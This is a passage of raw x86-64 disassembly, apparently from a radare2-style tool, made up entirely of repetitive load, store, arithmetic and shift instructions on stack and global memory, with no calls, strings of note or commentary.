movsx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16d], al
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xaa70], rax
mov eax, dword [rsp + 0x41e0]
mov ecx, dword [rsp + 0x40f0]
add ecx, eax
mov eax, ecx
mov dword [0x14019bf34], eax
mov rax, qword [rsp + 0xa698]
mov ecx, dword [0x14019d790]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4248], eax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa750]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov byte [rsp + 0x17d], al
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4188]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa948]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41d8]
mov dword [rsp + 0x4284], eax
mov rax, qword [rsp + 0xa948]
mov rcx, qword [rsp + 0xa670]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x40e4], eax
mov rax, qword [0x14019d848]
mov rcx, qword [rsp + 0xa830]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41e4], eax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xaa78], rax
movzx eax, word [rsp + 0xee4]
movzx ecx, word [rsp + 0xf18]
sub eax, ecx
mov rcx, qword [0x14019d838]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7f0]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
lea rax, [rsp + 0x41b8]
mov qword [rsp + 0xaa80], rax
mov rax, qword [rsp + 0xa6e0]
mov rcx, qword [rsp + 0xa8e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa670]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41b8]
mov rcx, qword [rsp + 0xa830]
mov qword [rsp + 0xaa88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa88]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4184], eax
lea rax, [rsp + 0x4200]
mov qword [rsp + 0xaa90], rax
movsx eax, word [rsp + 0xeac]
movsx ecx, word [rsp + 0xf30]
shl eax, cl
mov rcx, qword [rsp + 0xa658]
mov word [rcx], ax
lea rax, [0x14019900d]
mov qword [rsp + 0xaa98], rax
mov rax, qword [rsp + 0xa648]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf34]
and eax, ecx
mov word [rsp + 0xebc], ax
movzx eax, byte [rsp + 0x16a]
mov rcx, qword [0x14019d7c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019900e], al
mov rax, qword [rsp + 0xa4a8]
mov ecx, dword [rsp + 0x41f0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
lea rax, [rsp + 0x3f5c]
mov qword [rsp + 0xaaa0], rax
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
sub eax, ecx
mov word [rsp + 0xe6c], ax
mov eax, dword [rsp + 0x3af4]
mov ecx, dword [rsp + 0x4208]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
lea rax, [0x14019d800]
mov qword [rsp + 0xaaa8], rax
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4174]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4260]
mov ecx, dword [rsp + 0x4188]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa810]
mov dword [rcx], eax
lea rax, [0x14019bf1c]
mov qword [0x14019d8a0], rax
lea rax, [rsp + 0x171]
mov qword [rsp + 0xaab0], rax
mov rax, qword [rsp + 0xa568]
mov ecx, dword [rsp + 0x4130]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41b0], eax
mov eax, dword [rsp + 0x421c]
mov dword [rsp + 0x4288], eax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
add eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0xa928]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa808]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd48], ax
mov rax, qword [0x14019d8a0]
movzx eax, word [rax]
mov word [rsp + 0xf3c], ax
mov rax, qword [rsp + 0xa970]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov dword [rsp + 0x428c], eax
mov rax, qword [rsp + 0xa7a0]
mov rcx, qword [rsp + 0xa590]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14019d7d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4088]
movzx ecx, al
mov eax, dword [rsp + 0x4248]
shl eax, cl
mov dword [rsp + 0x4144], eax
mov eax, dword [rsp + 0x40f0]
mov ecx, dword [rsp + 0x4058]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa708]
mov dword [rcx], eax
lea rax, [rsp + 0x4268]
mov qword [rsp + 0xaab8], rax
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17b]
add eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov word [rsp + 0xf40], ax
mov rax, qword [0x14019d848]
mov rcx, qword [rsp + 0xa858]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov dword [rsp + 0x4290], eax
mov rax, qword [rsp + 0xa740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4278]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa948]
mov dword [rcx], eax
lea rax, [rsp + 0x3b8c]
mov qword [0x14019d8a8], rax
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf3c]
sub eax, ecx
mov word [rsp + 0xec0], ax
lea rax, [rsp + 0x152]
mov qword [rsp + 0xaac0], rax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [0x14019d868]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa5f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x17e], al
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa980]
mov ecx, dword [rsp + 0x4170]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x421c], eax
mov rax, qword [rsp + 0xa9a0]
movzx eax, byte [rax]
mov byte [rsp + 0x17f], al
movzx eax, word [rsp + 0xed4]
movzx ecx, word [rsp + 0xef8]
sub eax, ecx
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0xa4c8]
mov ecx, dword [0x14019bf34]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14019d7f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41c8]
mov dword [rsp + 0x4294], eax
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4174]
sar eax, cl
mov dword [rsp + 0x4178], eax
mov eax, dword [rsp + 0x427c]
mov rcx, qword [rsp + 0xa778]
mov qword [rsp + 0xaac8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaac8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa9b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa838]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x132], al
movzx eax, word [rsp + 0xde4]
movzx ecx, word [0x14019d850]
add eax, ecx
mov word [rsp + 0xf18], ax
lea rax, [rsp + 0x3af4]
mov qword [rsp + 0xaad0], rax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x4248]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x41b4], eax
mov eax, dword [rsp + 0x40f0]
mov ecx, dword [rsp + 0x4228]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41f0], eax
mov eax, dword [rsp + 0x4268]
mov dword [0x14019d8b0], eax
lea rax, [rsp + 0x4204]
mov qword [rsp + 0xaad8], rax
movsx eax, byte [rsp + 0x178]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x17e], al
lea rax, [rsp + 0xf20]
mov qword [rsp + 0xaae0], rax
mov rax, qword [rsp + 0xa9f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf0c]
sub eax, ecx
mov word [rsp + 0xee4], ax
movzx eax, byte [rsp + 0x17c]
mov byte [rsp + 0x180], al
mov rax, qword [0x14019d7b8]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x418c], eax
mov rax, qword [rsp + 0xa7a0]
mov rcx, qword [rsp + 0xa6b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa740]
mov dword [rcx], eax
lea rax, [rsp + 0xf00]
mov qword [rsp + 0xaae8], rax
mov rax, qword [0x14019d7f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d880]
mov byte [rcx], al
mov eax, dword [rsp + 0x4258]
mov ecx, dword [rsp + 0x41d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4210], eax
lea rax, [rsp + 0x41cc]
mov qword [rsp + 0xaaf0], rax
mov eax, dword [rsp + 0x4198]
mov ecx, dword [rsp + 0x4170]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4214]
movzx ecx, al
mov eax, dword [rsp + 0x4194]
shr eax, cl
mov dword [rsp + 0x41ac], eax
mov rax, qword [rsp + 0xa8e0]
movzx eax, byte [rax]
mov byte [rsp + 0x181], al
mov rax, qword [0x14019d810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef0]
shl eax, cl
mov word [rsp + 0xcec], ax
lea rax, [rsp + 0x41c0]
mov qword [rsp + 0xaaf8], rax
mov eax, dword [rsp + 0x4224]
mov ecx, dword [rsp + 0x4000]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa808]
movsx ecx, word [rcx]
xor eax, ecx
mov word [str.3K6LAu_], ax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
sub eax, ecx
mov rcx, qword [rsp + 0xa7d0]
mov byte [rcx], al
lea rax, [0x14019bf14]
mov qword [rsp + 0xab00], rax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x164], al
lea rax, [rsp + 0x4130]
mov qword [rsp + 0xab08], rax
mov rax, qword [rsp + 0xaaa0]
mov rcx, qword [0x14019d7f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4290], eax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov dword [rsp + 0x4298], eax
mov rax, qword [rsp + 0xaa48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4184], eax
mov eax, dword [0x14019d7e0]
mov ecx, dword [rsp + 0x4224]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41cc], eax
lea rax, [rsp + 0xefc]
mov qword [rsp + 0xab10], rax
movzx eax, byte [rsp + 0x17c]
movzx ecx, byte [rsp + 0x155]
add eax, ecx
mov byte [0x14019900f], al
mov eax, dword [rsp + 0x4130]
mov ecx, dword [0x14019d840]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4228], eax
mov eax, dword [rsp + 0x4288]
mov dword [rsp + 0x429c], eax
mov rax, qword [rsp + 0xa980]
mov rcx, qword [rsp + 0xa938]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4288], eax
mov rax, qword [rsp + 0xa778]
mov ecx, dword [rsp + 0x425c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa758]
mov dword [rcx], eax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0xab18], rax
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [rsp + 0x119]
add eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
lea rax, [rsp + 0x14c]
mov qword [rsp + 0xab20], rax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xed8]
add eax, ecx
mov rcx, qword [rsp + 0xa790]
mov word [rcx], ax
mov rax, qword [rsp + 0xab08]
mov ecx, dword [rsp + 0x4280]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14019d7f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f98]
sar eax, cl
mov dword [rsp + 0x4248], eax
lea rax, [rsp + 0x147]
mov qword [rsp + 0xab28], rax
movzx eax, word [rsp + 0xed0]
mov rcx, qword [0x14019d838]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf3c], ax
mov eax, dword [rsp + 0x4080]
mov dword [rsp + 0x42a0], eax
mov eax, dword [rsp + 0x425c]
movzx ecx, al
mov eax, dword [rsp + 0x4130]
shl eax, cl
mov dword [rsp + 0x41e8], eax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x415c], eax
lea rax, [rsp + 0x41d4]
mov qword [rsp + 0xab30], rax
movzx eax, byte [rsp + 0x16b]
movzx ecx, byte [rsp + 0x170]
add eax, ecx
mov byte [rsp + 0x180], al
movzx eax, word [rsp + 0xdb8]
movzx ecx, word [0x14019d844]
sub eax, ecx
mov word [str.a_t_nJ], ax
mov eax, dword [rsp + 0x4148]
mov dword [rsp + 0x42a4], eax
mov eax, dword [rsp + 0x415c]
mov ecx, dword [rsp + 0x4248]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
lea rax, [rsp + 0x41a0]
mov qword [rsp + 0xab38], rax
mov rax, qword [rsp + 0xaa10]
mov rcx, qword [rsp + 0xa4a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3400]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4170], eax
movzx eax, byte [rsp + 0x14c]
mov byte [rsp + 0x182], al
movsx eax, word [0x14019beec]
movsx ecx, word [rsp + 0xee0]
sub eax, ecx
mov word [rsp + 0xecc], ax
lea rax, [rsp + 0xae4]
mov qword [rsp + 0xab40], rax
lea rax, [rsp + 0x165]
mov qword [0x14019d8b8], rax
mov rax, qword [rsp + 0xa678]
mov rcx, qword [rsp + 0xa7f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x418c]
mov ecx, dword [rsp + 0x4148]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d0], eax
movzx eax, word [rsp + 0xeec]
mov word [rsp + 0xf44], ax
mov rax, qword [0x14019d7a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
sar eax, cl
mov byte [rsp + 0x156], al
mov rax, qword [rsp + 0xaaf8]
mov rcx, qword [rsp + 0xa830]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x38a0], eax
mov eax, dword [rsp + 0x41f0]
movzx ecx, al
mov eax, dword [rsp + 0x4214]
shl eax, cl
mov dword [rsp + 0x4250], eax
mov rax, qword [rsp + 0xaaf0]
mov ecx, dword [rsp + 0x4224]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x41d4], eax
lea rax, [rsp + 0x4180]
mov qword [rsp + 0xab48], rax
mov rax, qword [rsp + 0xa730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa898]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019d870], ax
mov rax, qword [rsp + 0xaa58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x180], al
lea rax, [rsp + 0x418c]
mov qword [rsp + 0xab50], rax
mov rax, qword [rsp + 0xa810]
mov rcx, qword [rsp + 0xa6a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa948]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
mov rax, qword [rsp + 0xa790]
movzx eax, word [rax]
mov word [rsp + 0xf48], ax
movzx eax, word [0x14019d7b0]
movzx ecx, word [rsp + 0xf38]
sub eax, ecx
mov word [rsp + 0xee8], ax
movzx eax, byte [rsp + 0x152]
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
lea rax, [0x14019bf20]
mov qword [0x14019d8c0], rax
mov eax, dword [rsp + 0x4204]
mov dword [rsp + 0x42a8], eax
mov rax, qword [rsp + 0xa778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4290]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa758]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7b8]
mov ecx, dword [0x14019bf2c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4298], eax
mov rax, qword [rsp + 0xa750]
movzx eax, word [rax]
mov word [rsp + 0xf4c], ax
movzx eax, byte [rsp + 0x162]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa9a0]
mov byte [rcx], al
lea rax, [0x14019d830]
mov qword [rsp + 0xab58], rax
mov eax, dword [rsp + 0x41c4]
mov ecx, dword [rsp + 0x4230]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa568]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa650]
mov rcx, qword [rsp + 0xa910]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4204]
mov rcx, qword [0x14019d8a8]
mov qword [rsp + 0xab60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab60]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14019bef8], eax
lea rax, [rsp + 0x152]
mov qword [rsp + 0xab68], rax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xed4]
or eax, ecx
mov word [rsp + 0xee4], ax
lea rax, [rsp + 0x14d]
mov qword [rsp + 0xab70], rax
movsx eax, word [rsp + 0xed8]
movsx ecx, word [rsp + 0xf48]
shl eax, cl
mov rcx, qword [rsp + 0xa860]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8c8]
mov rcx, qword [rsp + 0xa888]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4130], eax
lea rax, [0x14019bf2c]
mov qword [rsp + 0xab78], rax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
mov word [rsp + 0xf50], ax
lea rax, [rsp + 0x4244]
mov qword [0x14019d8c8], rax
mov rax, qword [rsp + 0xa680]
mov ecx, dword [rsp + 0x4188]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa980]
mov dword [rcx], eax
lea rax, [rsp + 0x4184]
mov qword [rsp + 0xab80], rax
mov rax, qword [rsp + 0xa748]
mov rcx, qword [0x14019d8c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa888]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x179]
movzx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov byte [rsp + 0x17c], al
movzx eax, word [rsp + 0xcec]
mov word [rsp + 0xf54], ax
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4178]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
lea rax, [rsp + 0x4270]
mov qword [rsp + 0xab88], rax
mov rax, qword [rsp + 0xa8a8]
mov rcx, qword [rsp + 0xa778]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa728]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa18]
mov ecx, dword [0x14019bf2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf20], eax
mov rax, qword [rsp + 0xa998]
mov rcx, qword [rsp + 0xa920]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x169]
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0xa578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa790]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xee0], ax
lea rax, [rsp + 0xae4]
mov qword [rsp + 0xab90], rax
mov rax, qword [rsp + 0xa9c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x162], al
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x41f8]
shl eax, cl
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa950]
mov eax, dword [rax]
mov dword [rsp + 0x42ac], eax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x151], al
lea rax, [rsp + 0xef0]
mov qword [0x14019d8d0], rax
mov rax, qword [rsp + 0xa778]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3a8]
mov qword [rsp + 0xab98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab98]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3c7c], eax
mov rax, qword [rsp + 0xa8d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b8c], eax
mov eax, dword [rsp + 0x3cbc]
mov ecx, dword [0x14019bf2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4150], eax
lea rax, [rsp + 0x4234]
mov qword [rsp + 0xaba0], rax
movzx eax, word [rsp + 0xf34]
movzx ecx, word [rsp + 0xf10]
add eax, ecx
mov rcx, qword [rsp + 0xa898]
mov word [rcx], ax
lea rax, [0x14019900c]
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0xa820]
mov ecx, dword [rsp + 0x4254]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa7a0]
mov eax, dword [rax]
mov dword [rsp + 0x42b0], eax
mov rax, qword [rsp + 0xa9e0]
movzx eax, byte [rax]
mov byte [0x14019d796], al
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0xa6d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf48], ax
movzx eax, word [rsp + 0xedc]
mov rcx, qword [rsp + 0xa800]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf34], ax
lea rax, [0x14019d794]
mov qword [rsp + 0xabb0], rax
mov rax, qword [rsp + 0xa4c8]
mov rcx, qword [rsp + 0xa870]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa678]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaba0]
mov eax, dword [rax]
mov dword [rsp + 0x42b4], eax
mov rax, qword [rsp + 0xa8f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4180]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3400], eax
mov rax, qword [rsp + 0xa938]
mov rcx, qword [rsp + 0xa950]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4268], eax
mov eax, dword [rsp + 0x3af4]
mov dword [rsp + 0x42b8], eax
movzx eax, word [rsp + 0xf18]
movzx ecx, word [rsp + 0xec0]
or eax, ecx
mov rcx, qword [rsp + 0xab18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x154]
movzx ecx, byte [rsp + 0x16b]
shl eax, cl
mov rcx, qword [0x14019d890]
mov byte [rcx], al
lea rax, [rsp + 0x4128]
mov qword [rsp + 0xabb8], rax
mov eax, dword [rsp + 0x4178]
mov rcx, qword [0x14019d7d8]
mov qword [rsp + 0xabc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabc0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0xab78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4208]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4218], eax
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov dword [rsp + 0x42bc], eax
mov rax, qword [0x14019d8b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
add eax, ecx
mov rcx, qword [rsp + 0xa780]
mov byte [rcx], al
mov rax, qword [rsp + 0xa640]
movzx eax, word [rax]
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0xa688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xecc]
and eax, ecx
mov word [rsp + 0xc48], ax
mov rax, qword [0x14019d798]
movzx eax, byte [rax]
mov byte [rsp + 0x185], al
mov eax, dword [rsp + 0x4128]
mov ecx, dword [rsp + 0x4258]
add ecx, eax
mov eax, ecx
mov dword [0x14019bf3c], eax
mov rax, qword [rsp + 0xaad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4144], eax
movzx eax, byte [0x140199009]
movzx ecx, byte [rsp + 0x177]
add eax, ecx
mov byte [rsp + 0x153], al
movzx eax, word [rsp + 0xf24]
mov word [rsp + 0xf5c], ax
mov eax, dword [rsp + 0x4208]
mov ecx, dword [rsp + 0x4150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c0], eax
mov eax, dword [rsp + 0x41d8]
mov dword [rsp + 0x42c0], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x41b4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xab78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa10]
mov ecx, dword [rsp + 0x42a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42b0], eax
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd5c], ax
movzx eax, byte [rsp + 0x155]
mov rcx, qword [rsp + 0xab68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14019900e], al
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4238]
shr eax, cl
mov dword [rsp + 0x4210], eax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0xabc8], rax
mov rax, qword [rsp + 0xa6c8]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4240], eax
mov rax, qword [0x14019d828]
mov ecx, dword [rsp + 0x4264]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3d34], eax
lea rax, [rsp + 0x4178]
mov qword [rsp + 0xabd0], rax
mov rax, qword [rsp + 0xaae0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa688]
movsx ecx, word [rcx]
